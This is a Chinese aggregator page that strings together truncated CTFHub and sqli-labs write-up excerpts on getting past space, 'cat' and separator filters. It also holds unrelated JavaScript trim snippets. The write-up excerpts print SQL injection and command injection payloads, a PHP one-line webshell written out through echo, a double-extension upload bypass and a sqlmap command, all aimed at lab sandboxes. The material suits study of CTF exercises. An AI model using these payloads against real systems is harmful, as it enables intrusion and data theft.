ctfhub 技能树过滤空格

2024-10-23

ctfhub技能树—sql注入—过滤空格

手注查询数据库 -1/**/union/**/select/**/database(),2 查询表名 -1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli' 查询字段名 -1/**/union/**/select/**/group_concat(column_name),2/**/from/**/informa

ctfhub rce 命令注入过滤cat 过滤空格过滤目录分隔符

命令注入源码直接给了出来尝试127.0.0.1;ls 发现一串数字的php文件cat查看 127.0.0.1|cat 233382768628619.php 查看源码发现flag 过滤cat 这题和上一题差不多只不过把cat给过滤掉了,过滤了cat我们可以用一下几种方法绕过 tac 从最后一行倒序显示内容,并将所有内容输出 more 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head 只显示头几行 tail 只显示最后几行 nl

ctfhub技能树—彩蛋

彩蛋题建议大家首先自己动手去找一找做好准备后再看下文 ! 1.首页使用域名查询工具查询子域名 2.公众号此题关注ctfhub公众号即可拿到,不过多赘述. 3.题目入口随便开启一个题目,抓包在url中间添加换行或空格,再放包,即可拿到flag 4.Writeup 在Writeup里搜索egg即可拿到flag 5.工具在工具里搜索egg,即可拿到flag flag就在链接里 6.赛事一个套路 7.真题 8.投稿提交这道题比较有意思,flag分别在不

解决Ext.TextField的AllowBlank不能过滤空格代码

Ext过滤空格重写了组件... Ext.apply(Ext.form.TextField.prototype, { validator : function(text) { if (this.allowBlank == false && Ext.util.Format.trim(text).length == 0) return false; else return true; } });

js过滤空格

点击查看效果点击进入下载 <html> <head> <title> 过滤空格 </title> <SCRIPT LANGUAGE="JavaScript"> var i = 0; document.onmousedown = function(event) { if (i == 1) { window.open('http://www.njxblog.com'); } //setTimeout(function (){wi

ctfhub技能树—RCE—过滤空格

打开靶机查看页面信息开始尝试注入 127.0.0.1 || ls 尝试绕过 127.0.0.1||ls 使用cat命令查看flag 127.0.0.11||cat<flag_10872536812766.php 拿到flag 绕过空格过滤方法很多,详情请自行百度搜索

ctfhub技能树—RCE—综合过滤练习

打开靶机查看页面信息查看源码可以发现这一次过滤了很多东西,查看当前目录信息查询到%0a为换行符,可以利用这个url编码进行命令注入,开始尝试 http://challenge-2a4584dabb18d320.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0als# 查看flag_is_here文件夹内文件信息 challenge-2a4584dabb18d320.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0Als<fla

ctfhub技能树—RCE—过滤目录分隔符，过滤运算符

过滤目录分隔符打开靶机查看页面信息查询当前目录下文件结构进入flag_is_here目录 127.0.0.1;cd flag_is_here 127.0.0.1||ls 执行之后发现还是在当前目录使用如下命令进行查询 127.0.0.1;cd flag_is_here;ls 查看文件信息 127.0.0.1;cd flag_is_here;cat flag_1633660217512.php 成功拿到flag 过滤运算符查看文件结构 ;ls 查看文件信息 ;cat flag_4603

ctfhub技能树—RCE—过滤cat

打开靶机查看页面信息构造payload 127.0.0.1 || ls 题目提示过滤了cat,但我还是想试试果然不行网页访问没有结果,应该和上题一样被注释了,使用和同样的方法进行解题利用命令执行写入一句话木马 127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php 成功拿到flag

JS判断字符串是否为空、过滤空格、查找字符串位置等函数集

这是一个由网上收集的JS代码段,用于判断指定字符串是否为空,过滤字符串中某字符两边的空格.查找指定字符串开始的位置.使用IsFloat函数判断一个字符串是否由数字(int or long or float)组成.IsDigital函数判断一个字符串是否由数字(int or long)组成等功能: //IsEmpty函数判断一个字符串是否为空 function IsEmpty(his) { flag = true; for(var i=0;i<his.length;i++) { if(his.c

javascript 过滤空格

1: 过滤首尾空格trim.2:过滤左边空格ltrim 3:过滤右边空格用正则方法写成三个函数. <script type="text/javascript">function trim(str){ //删除左右两端的空格return str.replace(/(^\s*)|(\s*$)/g, "");}function ltrim(str){ //删除左边的空格return str.replace(/(^\s*)/g,"")

SQL注入之Sqli-labs系列第二十八关（过滤空格、注释符、union select）和第二十八A关

开始挑战第二十八关(Trick with SELECT & UNION) 第二十八A关(Trick with SELECT & UNION) 0x1看看源代码 (1)与27关一样,只是换了中匹配方式. (2)i表示正在匹配的模式,i是忽略大小写, s就是匹配任意空白字符,制表符啊,换行啊空格啊等 (3)那这样我们就不用空格了,直接采用()来玩,剩下的就是一样的,就不演示了..... 这里采用')闭合就好第二八A关是同样的,闭合方式同样,但是源代码中只是对union select中过滤了,

SQL注入之Sqli-labs系列第二十七关（过滤空格、注释符、union select）和第二十七A

开始挑战第二十七关(Trick with SELECT & UNION) 第二十七A关(Trick with SELECT & UNION) 0x1看看源代码 (1)与26关一样,这次去除了逻辑运算符添加了union seclet. 0x2测试 (1)同样利用26关的方式,采取%a0来代替空格 (2) 这里过滤了union select ,所以我们采用大小写方式去绕过,双写是不行的 (3)获取数据库 (4)获取表,查询语句的空格我们采用()来绕过 (5)获取字段名 (6)获取数据第二十七

SQL注入之Sqli-labs系列第二十六关（过滤空格、注释符、逻辑运算符注入）和第二十六A

开始挑战第二十六关(Trick with comments and space) 0x1看看源代码 (1)过滤了# or and /**/ / \ ,通过判断也过滤了空格 (2)这样一来只能看看其他方式绕过吧,网上找了些资料,对于绕过空格限制有大把的方式对于空格,有较多的方法:%09 TAB键(水平).%0a 新建一行.%0c 新的一页.%0d return功能.%0b TAB键(垂直).%a0 空格,可惜老天对我太不眷顾了,个个都用不了,最后查到说是因为window下apache解析的

SQL注入(过滤空格和--+等注释符)

1.地址:http://ctf5.shiyanbar.com/web/index_2.php(过滤了空格和--+等注释符) 思路:确定注入参数值类型,直接输入单引号,根据报错信息确定参数值类型为字符型,如下图所示. 2.正常思路输入' or '1'='1,直接报错,信息为SQLi detected!,首先猜测or被过滤,直接去掉or,继续输入' '1'='1, 仍然报错,信息为SQLi detected!,猜测空格被过滤,直接输入’or‘1’=‘1,如下图所示,确定空格被过滤. 3.尝试使用多行

【CTF】CTFHub 技能树彩蛋 writeup

碎碎念 CTFHub:https://www.ctfhub.com/ 笔者入门CTF时时刚开始刷的是bugku的旧平台,后来才有了CTFHub. 感觉不论是网页UI设计,还是题目质量,赛事跟踪,工具软件都做得很不错. 而且因为独到的金币制度的确让人有一种想去刷题赚金币的感觉. 个人还是非常喜欢这个平台的. 某天随便瞅瞅CTFHub的工具页面,一页页地翻下去看看有没有什么需要的黑科技. 翻到最后一页时候,突然发现了个egg!! 然后注意到技能树的彩蛋部分. wow不错不错,有意思!! 虽然都不是很

ctfhub技能树—文件上传—双写后缀

双写后缀绕过用于只将文件后缀名,例如"php"字符串过滤的场合: 例如:上传时将Burpsuite截获的数据包中文件名[evil.php]改为[evil.pphphp],那么过滤了第一个"php"字符串"后,开头的'p'和结尾的'hp'就组合又形成了[php]. 打开靶机上传文件(shell.pphphp) 测试连接查找flag 成功拿到flag

ctfhub技能树—sql注入—Refer注入

手注查询数据库名查询数据表名查询字段名查询字段信息脚本(from 阿狸) #! /usr/bin/env python # _*_ coding:utf-8 _*_ url = "http://challenge-c58db5e5b714ee25.sandbox.ctfhub.com:10080/" import requests def postPL(pl = '', mask=['</code></br>ID: 1</br>','<

ctfhub技能树—sql注入—UA注入

手注打开靶机查看页面信息抓取数据包根据提示注入点在User-Agent文件头中开始尝试注入成功查到数据库名查询数据表名查询字段名查询字段信息成功拿到flag 盲注测试是否存在时间盲注测试成功,开始盲注查询数据库名查询数据表名查询字段名查询字段信息成功拿到flag 附上脚本 #! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests import sys import time session=req

ctfhub技能树—sql注入—Cookie注入

手注打开靶机查看页面信息查找cookie 测试是否为cookie注入抓包尝试注入成功查询到数据库名查询表名查询字段名查询字段信息成功拿到flag sqlmap 查询数据库名 python2 sqlmap.py -u "http://challenge-e27e712ceeb91bac.sandbox.ctfhub.com:10080/" --cookie "id=1" --level 2 --dbs 查询数据表名 python2 sqlmap.p

ctfhub 技能树 过滤空格

热门专题

ctfhub 技能树过滤空格